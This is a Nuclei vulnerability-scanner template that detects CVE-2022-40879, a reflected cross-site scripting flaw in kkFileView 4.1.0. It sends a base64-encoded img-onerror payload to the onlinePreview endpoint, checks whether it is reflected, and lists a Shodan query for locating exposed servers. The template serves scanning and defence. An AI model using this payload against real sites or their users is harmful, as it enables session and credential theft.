nuclei-templates/http/cves/2022/CVE-2022-40879.yaml

47 lines
1.4 KiB
YAML

id: CVE-2022-40879
info:
name: kkFileView 4.1.0 - Cross-Site Scripting
author: arafatansari,co5mos
severity: medium
description: |
kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://github.com/kekingcn/kkFileView/issues/389
- https://nvd.nist.gov/vuln/detail/CVE-2022-40879
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-40879
cwe-id: CWE-79
cpe: cpe:2.3:a:keking:kkfileview:*:*:*:*:*:*:*:*
epss-score: 0.00076
metadata:
max-request: 1
verified: true
shodan-query: http.html:"kkFileView"
tags: cve,cve2022,kkFileView,xss
http:
- method: GET
path:
- "{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ=="
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=1 onerror=alert(document.domain)>=PQ</p>'
- '该文件不'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200